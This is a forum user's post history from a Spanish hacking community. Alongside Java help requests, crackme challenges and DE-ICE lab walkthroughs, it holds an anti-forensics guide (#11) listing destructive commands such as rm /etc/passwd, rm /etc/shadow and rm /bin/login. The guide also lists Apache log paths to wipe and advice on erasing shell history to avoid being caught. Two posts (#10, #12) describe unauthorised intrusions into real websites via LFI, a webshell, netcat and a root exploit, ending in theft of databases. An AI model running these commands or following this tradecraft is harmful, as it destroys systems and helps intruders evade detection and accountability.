Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - cibergolen

#1
Java / [Ayuda] Problemas con un juego en java
18 Abril 2015, 19:55 PM
Buenas

Estoy comenzando con la programación de juegos en Java (Hasta llegar a Android), pero se me está resistiendo

El problema es que no me muestra el personaje, la Base me da un html, ya importé la imagen... Pero no hay forma de que aparezca el dichoso "dibujo"

He aquí el código:

Clase1:
Código (JAVA) [Seleccionar]
package juego01;

import java.applet.Applet;
import java.awt.Color;
import java.awt.Frame;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.net.URL;

public class juego01 extends Applet implements Runnable, KeyListener {

private robot Maquina;
private Image image,jugador;
private Graphics second;
private URL base; //Igual debes ponerle valor... por ahora vale null
//Espera que reviso una cosa rapido¬_

    @Override
    public void init() {

        setSize(800, 480);
        setBackground(Color.green);
        setFocusable(true);
        addKeyListener(this);
        Frame frame = (Frame) this.getParent().getParent();
        frame.setTitle("Q-Bot Alpha");
        jugador = getImage(base,"Nave.png");
        base=getDocumentBase();
        System.out.println(base);
       
    }

    @Override
    public void start() {
    Maquina = new robot();
        Thread thread = new Thread(this);
        thread.start();
    }

    @Override
    public void stop() {
        // TODO Auto-generated method stub
    }

    @Override
    public void destroy() {
        // TODO Auto-generated method stub
    }

    @Override
    public void run() {
        while (true) {
        Maquina.update();
            repaint();
            try {
                Thread.sleep(17);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    }
   
    public void update(Graphics g){
    if(image==null){
    image = createImage(this.getWidth(),this.getHeight());
    second = image.getGraphics();
    }
   
    second.setColor(getBackground());
    second.fillRect(0, 0,getWidth(), getHeight());
    second.setColor(getForeground());
    g.drawImage(image,50,50,this);
    paint(second);
    }
   
    public void paint(Graphics g){
    g.drawImage(jugador,Maquina.getPosX(),300,this);
    }

    @Override
    public void keyPressed(KeyEvent e) {

        switch (e.getKeyCode()) {
        case KeyEvent.VK_UP:
            System.out.println("Move up");
            break;

        case KeyEvent.VK_DOWN:
            System.out.println("Move down");
            break;

        case KeyEvent.VK_LEFT:
            Maquina.moveLeft();
            break;

        case KeyEvent.VK_RIGHT:
            Maquina.moveRight();
            break;

        case KeyEvent.VK_SPACE:
            System.out.println("Jump");
            break;

        }

    }

    public void keyReleased(KeyEvent e) {
        switch (e.getKeyCode()) {
        case KeyEvent.VK_UP:
            System.out.println("Stop moving up");
            break;

        case KeyEvent.VK_DOWN:
            System.out.println("Stop moving down");
            break;

        case KeyEvent.VK_LEFT:
            System.out.println("Stop moving left");
            break;

        case KeyEvent.VK_RIGHT:
            System.out.println("Stop moving right");
            break;

        case KeyEvent.VK_SPACE:
            System.out.println("Stop jumping");
            break;

        }

    }

    @Override
    public void keyTyped(KeyEvent e) {
        // TODO

    }

}


Clase 2:
Código (JAVA) [Seleccionar]
package juego01;

public class robot {

private int maxX = 640;
private int posX = 0;

public void update(){
if(posX >=maxX){
posX = maxX;
}
if(posX <=0){
posX = 0;
}
}

public void moveRight(){
posX += 6;
}

public void moveLeft(){
posX -= 6;
}

public int getPosX(){
return posX;
}

public void setPosX(int posX){
this.posX=posX;
}
}


Un saludo, y gracias
#2
Al intentar ejecutar la instalación del SDK en windows vía consola de Android SDK (Para crear unas cosas para android) obtengo el siguiente error:

Citarc:\pgs4a-0.9.4>python android.py installsdk

I'm compiling a short test program, to see if you have a working JDK
on your system.

Traceback (most recent call last):
  File "buildlib\install_sdk.py", line 17, in run
    subprocess.check_call(args)
  File "C:\Python27\lib\subprocess.py", line 535, in check_call
    retcode = call(*popenargs, **kwargs)
  File "C:\Python27\lib\subprocess.py", line 522, in call
    return Popen(*popenargs, **kwargs).wait()
  File "C:\Python27\lib\subprocess.py", line 710, in __init__
    errread, errwrite)
  File "C:\Python27\lib\subprocess.py", line 958, in _execute_child
    startupinfo)
WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado

I was unable to use javac to compile a test file. If you haven't
installed the JDK yet, please download it from:

http://www.oracle.com/technetwork/java/javase/downloads/index.html

The JDK is different from the JRE, so it's possible you have Java
without having the JDK.

Without a working JDK, I can't continue.

Tengo java instalado (JDK y JRE), agregados al path del sistema, no comprendo ese error

He probado reinstalado, y con otras versiones de JDK y nada

Un saludo
#3
Hacía tiempo que no programaba nada, asique aquí estoy de nuevo

Descripción: Un crackme hecho en C, creado para los más novatos
Dificultad: 1/10
Plataforma: Windows
Lenguaje: C

Enlace de descarga

Código fuente (Solo si lo has resuelto, o te das por vencido)

Happy coding
#4
Después de un tiempo sin programar alguno, volví con la cuarta versión de la serie de CrackMe's en C.

General:

  • Plataforma: WIN32 (Testado en Win7 x64 y XP x86)
  • Nivel: 1/10 (Ideado para principiantes)
  • Lenguajes: C
  • Tiempo de programación: 35 minutos
  • Protecciones: Ninguna
  • Código fuente: Mensaje privado

Reglas:

  • Reproducir algoritmo en Keygen
  • Solución válida: Keygen y Tutorial
  • No parchear
  • No selfkeygenning
  • No serialfishing

Descargar

Happy Codding

OverSec.cu.cc

Medio saludo.
#5
Un tute que escribí, ya que hace su tiempo que no publicaba ninguno...

CitarMétodo: SelfKeygen (Su propio keygen)
Dificultad: Fácil
Protección: Ninguna
Plataforma: Win32
Demo: Periodo de 30 días.
Cracker: Yo-Mismo
Dedicación: Newbies

Descargar

Dedicación: Jep, Shadowbyte

Un saludo!
#6
Un CrackMe que vi por ahí, en CrackMes.de.

CitarMétodo: Keygen
Dificultad: 1/10
Protección: Lenguaje de alto nivel, Nombre de ejecutable,  IsDebuggerPressent
Plataforma: Win32
Descarga: Adjunto crackme y keygen
Cracker: Yo-Mismo
Dedicación: Newbies

Dedicación:
Shadowbyte, Jep, Swash, OverSec, CPH, .... Para qué repetirnos

Descargar

Saludos!
#7
Esta vez vengo con DE-Ice v1.0.

Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.

¿Qué necesitaremos?


-Dos máquinas virtuales
-De-ICE v1
-Backtrack 5
-Diccionario de claves comunes inglesas

¿Cuáles serán nuestros objetivos?
-Mapeo de red
-Análisis de red
-Fuerza bruta a servicio
-Fuerza bruta a shadow
-Root

¿Reglas?
-No Exploit

Allá que vamos

Escaneamos las redes para localizar a nuestra presa.

Citarnetdiscover

Currently scanning: 192.168.1.0/16   |   Screen View: ARP Reply                                                                                                       
                                                                                                                                                                       
1 Captured ARP Reply packets, from 1 hosts.   Total size: 60                                                                                                         
_____________________________________________________________________________                                                                                         
   IP            At MAC Address      Count  Len   MAC Vendor                                                                                                           
-----------------------------------------------------------------------------
192.168.1.100   08:00:27:b1:50:12    01    060   CADMUS COMPUTER SYSTEMS

Identificamos servicvios con NMAP:

Citarroot@bt:/# nmap -sV 192.168.1.100

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-02 22:07 CET
Nmap scan report for 192.168.1.100
Host is up (0.0070s latency).
Not shown: 992 filtered ports
PORT    STATE  SERVICE  VERSION
20/tcp  closed ftp-data
21/tcp  open   ftp      vsftpd (broken: could not bind listening IPv4 socket)
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)
25/tcp  open   smtp     Sendmail 8.13.7/8.13.7
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open   pop3     Openwall popa3d
143/tcp open   imap     UW imapd 2004.357
443/tcp closed https
MAC Address: 08:00:27:B1:50:12 (Cadmus Computer Systems)
Service Info: Host: slax.example.net; OS: Unix

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.29 seconds

Dejando huella

Vemos que tenemnos varios servicios, excepto uno: FTP. No nos permite conexiones IPv4.
Entramos via HTTP, y nos fijamos que la página nos muestra unos correos. Alteremoslos.

Esto fue lo que obtuve:
Citar
addams
aadams
adaams
damsaa
adamsa
banterb
bbanter
banterb
anterbb
bbanteerbb
coffeec
cooffec
ccoffee
coooffe
cooofef
coofefc
cooffee

Lanzamos medusa tratando de tener suerte.
Citar
medusa -h 192.168.1.100 -U user -P user -M ssh

¡Bingo! Nos encuentra un usuario. Mismo usuario y clave.

CitarACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adaams (3 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: damsaa (4 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adamsa (5 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: banterb (6 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: bbanter (7 of 17 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: bbanter Password: bbanter [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: addams (1 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: aadams (2 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adaams (3 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: damsaa (4 of 17 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adamsa (5 of 17 complete)

Decepción

Accedo vía SSH:
Citarroot@bt:/pentest/passwords/john# ssh bbanter@192.168.1.100
bbanter@192.168.1.100's password:

Pero si tratamos de hacer un cat /etc/shadow, como es lógico, nos dirá que nuestro siguiente comando es:

Citarexit


Si antes leemos el /etc/passwd, veremos que el usuario aadams se las trae con otros permisos.

Pidiendo auxilio a la medusa

Intentemos con otro diccionario:

Citar
medusa -h 192.168.1.100 -U user -P list.lst -M ssh

CitarACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: fuckyou (578 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: matthew (579 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: miller (560 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: ou82 (561 of 675 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: aadams Password: nostradamus [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: tiger (562 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: trustno1 (563 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: 12345678 (564 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: alex (565 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: windows (566 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: flipper (567 of 675 complete)

Nos muestra el usuario aadams, con su consiguiente clave.

Entramos via SSH, y obtenemos el fichero.

Root Success

Citar
root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100
aadams@192.168.1.100's password:
Linux 2.6.16.
aadams@slax:~$ sudo cat /etc/shadow
Password:
root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::

aadams@slax:~$

Salimos.
Citar
exit

Crackeamos.
Citar
root@bt:/pentest/passwords/john# ./john --rules --wordlist=list.lst shadow

El resultado se lo dejo a su imaginación, para no estropear el reto, regalando la clave.

Resultado final:
Citar
root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100
aadams@192.168.1.100's password:
Linux 2.6.16.
aadams@slax:~$ su
Password: *****
root@slax:/home/aadams# whoami
root

root@slax:/home/aadams#

Hasta la próxima.

Dedicación: Oversec, CPH, H-Sec, EH

Saludos
#8
Trasteando aburrido, descargué dos sistemas de seguridad controlados para practicar un Test de Intrusión. Estas son DE-ICE v1 y V2 respectivamente.

Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.

¿Qué necesitaremos?


-Dos máquinas virtuales
-De-ICE v2
-Backtrack 5

¿Cuáles serán nuestros objetivos?
-Webcrawling
-acceder servidor
-Obtener privilegios de ROOT

¿Reglas?
-No Exploit

Empieza la fiesta.

Lo primero que haremos será unir las dos máquinas virtuales. A de-ice se le asigna por defecto la subred 192.168.2.*.

Esto se puede realizar con el siguiente comando:
ifconfig eth0 192.168.2.150Siendo 150 una dirección libre, y eth0 su interfaz de red.

Procedamos pues a localizar el servidor.
haremos uso de Netdiscover, o en su defecto, NMAP -sP 192.168.2.*.

Veamos que tenemos por aquí.
Citar
Currently scanning: 192.168.19.0/16 | Screen View: Unique Hosts

2 Captured ARP Req/Rep packets, fro.m 2 hosts. Total size: 120
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.2.100 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS
192.168.2.101 08:00:27:b1:50:12 01 060 CADMUS COMPUTER SYSTEMS
Tenemos dos sistemas. Escaneamos con NMAP para obtener resultados.
Citarnmap -sV 192.168.2.100 - nmap -sV 192.168.2.101
-Primer host:
CitarPORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.4
22/tcp open ssh OpenSSH 4.3 (protocol 1.99)
25/tcp open smtp Sendmail 8.13.7/8.13.7
80/tcp open http Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open pop3 Openwall popa3d
143/tcp open imap UW imapd 2004.357
443/tcp closed https
FTP vulnerable... Pero no utilizaremos exploits, ni para atacar, ni para escalar privilegios.

Vemos que el segundo únicamente tiene el puerto 80. Si accedemos a el via web, no vemos más que unos ficheros. Si accedemos a 192.168.2.100, vemos una página Web. Pincho el enlace y veo direcciones de correo. Está claro: Hay un servicio de correo, por lo que habrán dichos usuarios, "seguramente".

Buscando amigos

Seleccionamos la lista de correo, y la limpiamos de forma que simplemente quede el nombre del usuario, argegando el signo ~ (user) para tratar de brutalizar, haber si encontramos algún directorio de interés.

Ésta es mi lista:
Citar
root
admin
~root
~admin
~pickwick
~winkle
~snodgrass
~tupman
~weller
~tweller
~havisham
~magwitch
~pirrip
~nickleby
~rnickleby
~noggs
~squeers
~pinch
~tapley
~gamp
~marley
~scrooge
~cratchit
~sikes
~dawkins
~claypole
Brutalizamos con DirBuster en 192.168.2.101 y vemos que hay un usuario, pirrip. Tratemos si con un poco de suerte existe la carpeta .ssh.

http://192.168.2.101/~pirrip/.ssh

Ahí tenemos los id_rsa y id_rsa.pub, esperándonos

Lo almacenamos en /root/.ssh/ y damos permisos 777.

Intruder Here

Procedamos a conectar via SSH.
Citarssh pirrip@192.168.2.100
Tachán! estamos dentro.

You Have New Mail

Entramos y leemos el correo. Hagamos uso de mailx para leer el séptimo correo.
En el vemos:
Citarroot@bt:~# ssh pirrip@192.168.2.100
Linux 2.6.16.
pirrip@slax:~$ mailx
mailx version nail 11.25 7/29/05. Type ? for help.
"/var/mail/pirrip": 7 messages 7 new
>N 1 Abel Magwitch Sun Jan 13 23:53 20/748 Estella
N 2 Estella Havisham Sun Jan 13 23:53 20/780 welcome to the team
N 3 Abel Magwitch Sun Jan 13 23:53 20/875 havisham
N 4 Estella Havisham Mon Jan 14 00:05 20/861 next month
N 5 Abel Magwitch Mon Jan 14 00:05 20/868 vacation
N 6 Abel Magwitch Mon Jan 14 00:05 20/915 vacation
N 7 noreply@fermion.he Mon Jan 14 00:05 29/983 Fermion Account Login Reminder
? 7
Leemos el correo:
CitarFrom noreply@fermion.herot.net Mon Jan 14 00:05:15 2008
Return-Path: <noreply@fermion.herot.net>
From: noreply@fermion.herot.net
Date: Sun, 13 Jan 2008 23:54:42 +0000
To: pirrip@slax.example.net
Subject: Fermion Account Login Reminder
User-Agent: nail 11.25 7/29/05
Content-Type: text/plain; charset=us-ascii
Status: R

Fermion Account Login Reminder

Listed below are your Fermion Account login credentials. Please let us know if you have any questions or problems.

Regards,
Fermion Support


E-Mail: pirrip@slax.example.net
Password: 0l1v3rTw1st
Tenemos una clave suculenta...

Root Me, Please!

Hagamos uso de una vieja técnica.
Editamos el fichero /etc/shadows, eliminamos el usuario ROOT y sustituimos pirrip por ROOT. De esta forma nos damos privilegios.

Citarsudo vi /etc/shadow
Ahí ingresaremos la clave que nos facilitó nuestro amigo via mail
Antes:
Citarroot:$1$/Ta1Q0lT$CSY9sjWR33Re2h5ohV4MX/:13882:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
pirrip:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::
Después:
Citar
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
root:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::
Guardamos, y tratamos de entrar como superadministrador. Recordemos la clave: 0l1v3rTw1st.

Citar
pirrip@slax:~$ su
Password: ***********
root@slax:/home/pirrip# whoami
root
root@slax:/home/pirrip#
GAME OVER!

Dedicación: 11Sep, [T]rasher, Batista, Exploit-Shell, en fin, a todo OverSec / CPH / H-Sec!

Fuente: Oversec.org (Escrito por mi)

Un saludo
#9
Este es un crackme que descargué de la lista de cls, 12/2011.

Descripción:
CitarThis crackme is a simple algorithm.It's written in visual c++ 6.0 with mfc.
Level 1/10

Herramientas:
-OllyDBG

Donde lo descargo
-Aquí

Puesta a punto
Arrancamos con Olly, y buscamos entre las strings:


Vamos al salto al chico bueno y vemos lo siguiente:


Vemos que tenemos 4 strings, una de longitud mínima, serial olvidado, el chico bueno y chico malo.

Nos fijamos que antes pasa por una comparación. Colocamos un BP en dicho CALL, y vemos que se trae entre manos:


Vemos que ahí tenemos el serial falso y verdadero comparándose.

Afilando los dientes

Básicamete lo que haremos, es decirle al programa que de no cumplirse, realice un JMP a una zona vacia del ejecutable, con permisos, donde obtendrá el serial verdadero y lo mostrará.

Creamos un salto a una zona vacía


En ella cargamos los valores, y posteriormente hacemos un salto al CALL.


Vemos que funciona.


Nos vemos!

Guardamos los cambios a otro ejecutable, y probamos. Primero un serial falso y después el verdadero que mostró:


Saludos

EDITO: Próximamente keygen.
#10
Publicado en Oversec.org, autoría propia.

CitarEsto es un relato un tanto viejo, al cual dejé pasar un tiempo antes de publicar, por motivos obvios, hasta que el bug fue reparado.

Mientras mi "socio", 11sep y yo buscábamos "juguetitos en línea", encontramos un servidor vulnerable. Esta vez, un FSD.

Igual que el anterior relato, la llamaremos site.com.

Esta página, tenía un script absurdo, que descargaba "ficheros", en la ruta site.com/down.php?f=xxx

Recorrimos la página desde el index hasta topar con los datos de MySQL, al cual accedimos, bajo previa protección.
Llegamos al panel de administración, pero el problema estaba en que se trataba de un hash en SHA1 y MD5, el cual en lugar de brutalizar, cambiamos la clave durante 1 minuto para entrar.

Dentro nos topamos con un sinfín de vulnerabilidades, que si FSD, que si FPD, que si SQLi... Y un lindo uploader :)

No hicimos nada, ya que la web podríamos clonarla, y teniamos la base de datos.
Como en el anterior relato, es mi único objetivo.

Dejamos pasar un tiempo, y volvimos a intentar entrar, para subir una shell. Resulta que habían migrado a un servidor MySQL que no permitía conexiones internas.

Sinceramente me resulta patético buscar scripts por Mr.Google y colgarlos, sin antes saber qué hace... Imaginen si hubieramos subido la shell y rooteado... ¿De qué habría servido migrar el servidor?

Pasamos por alto un sin fín de oportunidades, utilizar el FPD para subir una shell desde SQL, bypassear el uploader, incrustar un PHP en pleno index con la shell...

Nuestro objetivo no fue más que lograr una infiltración al área restringida (Panel de administración)

Como siempre digo, Antes de correr, hay que saber andar.

Un saludo.

Saludos
#11
Nivel Web / Eliminación de huellas
2 Diciembre 2011, 19:40 PM
De nuevo, perdón si este artículo ya lo publiqué. En tal caso, eliminar el tema.

Es un tema que cree, hace tiempo, y que trajo bastante discusión (en buen sentido) por H-Sec

--

19/08/2011

--

CitarExisten tantos tipos de huellas, como tipos de ataques realizados.

Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.

Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.
Esto no implica que no queden otros rastros.

Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...

Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.

Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?

El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.

Daremos un repaso por los medios más utilizados.

A) Destrucción del sistema
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.

La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:
Citarrm /etc/passwd
rm /etc/shadow
rm /bin/login
rm /bin/rm
rm /etc/inetd.conf
killall login

B) Capturando y eliminando los access log de Apache.
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell

Los directorios más comunes son:
Citarapache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log
var/log/access.log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache2/error_log
var/log/apache/error.log
var/log/apache2/error.log
var/log/error_log
var/log/error.log
var/log/access_log
var/log/access_log

Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.

C) Eliminar el Bash History
C-1) Si, es algo lógico, que mucha gente olvida...
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history
C-3) Recordar: Esto se hace JUSTO ANTES de salir.

D) Eliminar todo rastro de exploits, webshells, sniffers, ...
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fue, pero ahí supongo que seguirá.

E) Tener cuidado con los cambios en el sistema
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.

F) Cuidado con los Backdoors
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.

G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root
G-1) No basta con eliminar los permisos de shell (/sh/false)

H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.

I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.

J) Cuidado con el syslog.
J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.

K) Comandos de interés:
Citar-Who: Lista usuarios activos.
-last: Ultimo inicio de sesión de usuario.
-ps: Procesos activos.
-lastcom / hostory: Comandos realizados. Véase apartado C.

L) Ficheros peligrosos:
Citar-utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp
-wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.
-lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.
-acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).

Despedida:
Este tutorial va dedicado a Vengador (The X-Cell), .xAk., Mr.Blood, 11Sep ... En fín, a todo CPH  ;D

Se aceptan críticas, sugerencias, y amenazas de muerte.

Como siempre digo: "Para saber hacer, hay que saber que haces"

Un saludo!
#12
No se si llegué a publicar esto, de ser así, que algún moderador elimine este tema

--

15/08/2011

--

CitarHace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.

El sitio, por privacidad, lo llamaremos www.site.com.

Observe que la dirección del archivo a incluir lo pasaba mediante GET por la variable "site.com/index.php?Page=", a la cual se agregaba la extensión ".PHP" por seguridad...

Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.

Básicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para después buscar algún fichero que vulnerar.

En un primer intento, trate de enviarle la ruta: ../../../etc/passwd%00, el cual funciono exitosamente, y buscando, concluí que existía el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permitia la inclusión de PHP modificando via Live HTTP Headers.

Con todo esto, conseguí crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web.

Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.

Posteriormente, vía wget descargue un Root Exploit que encontré por la red, lo cual me permitió permisos de Root en dicho servidor.

Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decidí limpiar mis huellas y salir de ahí, con una clara conclusión:

Un solo fallo, lo pueden pagar muchos.

Mi único trofeo fue la copia de la Web, y de la base de datos.

Un saludo!
#13
Ingeniería Inversa / [Reto] Crackme V3 ASM
29 Noviembre 2011, 14:46 PM
Esta vez traigo la tercera versión de los crackme's en ASM




Código fuente: A petición.
Dedicación: .:UND3R:. , Jep , M4rtyr, Tu.

Descarga

Disfruten.

Un saludo!
#14
Ingeniería Inversa / [Reto] Crackme V2 ASM
14 Noviembre 2011, 16:41 PM
Publicado en otra comunidad (creado por mi)

CitarDespués de un largo tiempo sin programar ningún crackme (y de varios intentos) hice la segunda versión de los crackme's en ASM.

Acerca:
Misión: Keygen válido y tutorial
Código fuente: Petición
Empaquetado: No
Dificultad: 1/10, Novatos
Lenguaje: C / NASM

Reglas:
-No SelfKeygen
-No parchear
-Desempaquetar
